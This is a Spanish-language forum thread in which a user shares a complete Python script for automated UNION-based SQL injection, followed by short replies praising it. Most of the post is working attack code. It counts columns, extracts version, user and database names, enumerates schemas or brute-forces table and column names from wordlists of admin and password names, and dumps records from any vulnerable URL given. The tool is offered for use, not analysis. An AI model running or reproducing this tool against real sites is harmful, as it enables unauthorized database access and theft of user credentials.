Bueno , aquí les dejo una herramienta muy útil que ahorra mucho trabajo muchas veces, os dejo unas capturas.
Encuentra la estructura de la bd por information_schema y si no hay brutea el nombre de las tablas y columnas.
(http://img38.imageshack.us/img38/1765/pantallazouc.png)
Siendo esa la web con SQLi :
(http://img29.imageshack.us/img29/9730/pantallazo1ms.png)
Si escribes :
./sqli [urlvulnerable] -c
Podrás ver los registros de la tabla que tu quieras .
(http://img171.imageshack.us/img171/6311/pantallazo2t.png)
Si haces :
./sqli [urlvulnerable] -r
Te dirá todas las bases de datos ,tablas y columnas menos las del information_schema (porque son muchas y no tan necesarias).
Si no pones ni -r ni -c te hará las dos.
#!/usr/bin/python
import urllib2,sys,string
# Sql injector helper by braulio23
# Usage sql.py http://host/app?vulnparameter=
# Example : sql.py http://localhost/sql.php?id=
def entre(code,delimita):
try :
for numero in range(len(code)):
if code[numero:numero+len(delimita)]==delimita:
indice1=numero+len(delimita)
break
for numero2 in range(indice1+1,len(code)):
if code[numero2:numero2+len(delimita)]==delimita:
indice2 = numero2
return code[indice1+1:indice2]
except : return False
def codigo(url):
return urllib2.urlopen(url).read()
def char(cadena):
cadena+="~"
returned = "char("
for caracter in cadena:
returned+=str(ord(caracter))
if caracter!="~": returned+=","
return returned+")"
def encontrar(code,cadena):
longitudcode = len(code)
longitudcadena = len(cadena)
for indice in range(0,longitudcode-4):
if code[indice:indice+longitudcadena]==cadena:
return 0
def consultacorrecta(url,listadecosasaencontrar):
pagina = urllib2.urlopen(url)
codigo = pagina.read()
for cosa in listadecosasaencontrar:
if encontrar(codigo,cosa)==0:
return True
return False
def printable(urlbase,numero,columnas):
urlbase+="-1%20union%20select%20"
listadecosas = []
for a in range(columnas):
if a==numero:
urlbase+=char('aaabaaabaaabaaabaaabaaabaabababab')
listadecosas.append('aaabaaabaaabaaabaaabaaabaabababab')
else :
urlbase+='concat(202020,'+str((a+1)*31337)+')'
if a!=columnas-1 : urlbase+=','
return consultacorrecta(urlbase+'%20--',listadecosas)
def obtenerdato(urlbase,printables,columnas,variable,tabla='okokokok',limit=0):
urlbase+="-1%20union%20select%20"
for a in range(columnas):
if a==printables:
urlbase+='concat('+char('%%%%')+','+variable+','+char('%%%%')+')'
else :
urlbase+=str(a)
if a!=columnas-1 : urlbase+=","
if tabla != 'okokokok' : urlbase+='%20from%20'+tabla
urlbase+='%20limit%20'+str(limit)+',1'
code = codigo(urlbase+'%20--')
return entre(code,'%%%%')
def datosgenerales():
global columnasprintables
print '[+] Version ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'version()')
print '[+] Usuario ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'current_user()')
print '[+] Base de datos ',obtenerdato(urlvulnerable,columnasprintables[0],numero,'database()')
def estructuraconschema():
print "[+]Bases de datos"
i=0
while obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',i)!=False:
database = obtenerdato(urlvulnerable,columnasprintables[0],numero,'schema_name','information_schema.schemata',limit=i)
print "[-------------------->]",database
j=0
while obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)!=False:
tabla = obtenerdato(urlvulnerable,columnasprintables[0],numero,'table_name','information_schema.tables%20where%20TABLE_SCHEMA='+char(database)[:len(char(database))-5]+')%20AND%20table_schema!='+char('information_schema')[:len(char('information_schema'))-5]+')',j)
print "[------------>]",tabla
k=0
while obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)!=False:
columna = obtenerdato(urlvulnerable,columnasprintables[0],numero,'column_name','information_schema.columns%20where%20TABLE_NAME='+char(tabla)[:len(char(tabla))-5]+')',k)
print '[--->]',columna
k+=1
print '\n'
j+=1
i+=1
def consultas():
print "---- Consulta personalizada ----"
db=""
while 1:
db = raw_input("(Escribe Salir para salir) Nombre de la base de datos : ")
if db=="Salir" : break
tabla = raw_input("Nombre de la tabla : ")
columnas = raw_input("Nombres de las columnas (separadas por comas) : ")
columnas = columnas.replace(',',",0x20,")
for lolo in range(1000):
resultado = obtenerdato(urlvulnerable,columnasprintables[0],numero,'concat('+columnas+')',db+'.'+tabla,lolo)
if resultado!=False:
print "Resultado :",resultado
else :
print "Ya no quedan mas registros "
break
listatablas = ['admin','tblUsers','tblAdmin','user','users','username','noticias','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contraseña','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO','news']
listacolumnas = ['admin_name','codigo','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contraseña','pas','sistema_password','autor','upassword','web_password','web_username']
urlvulnerable = sys.argv[1]
columnasprintables = []
print "-----> Cuestiones principales <-----"
for numero in range(500):
listadecosas=['159753159753']
urlatestear = urlvulnerable
urlatestear += "-1%20union%20select%20"
for columna in range(numero):
urlatestear+="concat(20101010,"+str((columna+1)*31337)+")"
listadecosas.append("20101010"+str((columna+1)*31337))
if columna!=numero-1: urlatestear+=","
if consultacorrecta(urlatestear+"%20--",listadecosas):
urlcorrecta = urlatestear
print "[+] La tabla tiene ",numero,"columnas"
break
for a in range(numero):
if printable(urlvulnerable,a,numero):
columnasprintables.append(a)
if len(sys.argv)<3: sys.argv.append('-rc')
if sys.argv[2]=='-r' or sys.argv[2]=='-rc':
print "-----> Variables generales <-----"
datosgenerales()
if obtenerdato(urlvulnerable,columnasprintables[0],numero,'1','information_schema.tables')!=False:
print "[+] Tiene information_schema "
print "---> Estructura de la base de datos <---"
estructuraconschema()
else :
print "[-] No tiene information_schema "
print "-----> Bruteando tablas <------"
for tabla in listatablas:
if obtenerdato(urlvulnerable,columnasprintables[0],numero,'4',tabla)!=False:
print "[->] Tabla ",tabla,"encontrada"
for columna in listacolumnas:
if obtenerdato(urlvulnerable,columnasprintables[0],numero,columna,tabla)!=False:
print "[-->] Columna ",columna,"encontrada"
if sys.argv[2] == '-c' or sys.argv[2]=='-rc':
consultas()
PD: el code es muy feo porque lo programé tarde por la noche.
Suerte.
aaah genial, octalh habia hecho uno similar pero en php.
Lo agregaré al recopilatorio de herramientas ^^
:o se parece full al mio solo que la mia esta en Java y no muestra los resultados por consola :-\ esta genial braulio.
Saludos.
Pone "Cuestiones prinipales" :-X
Oh! Es verdad! Cambiando..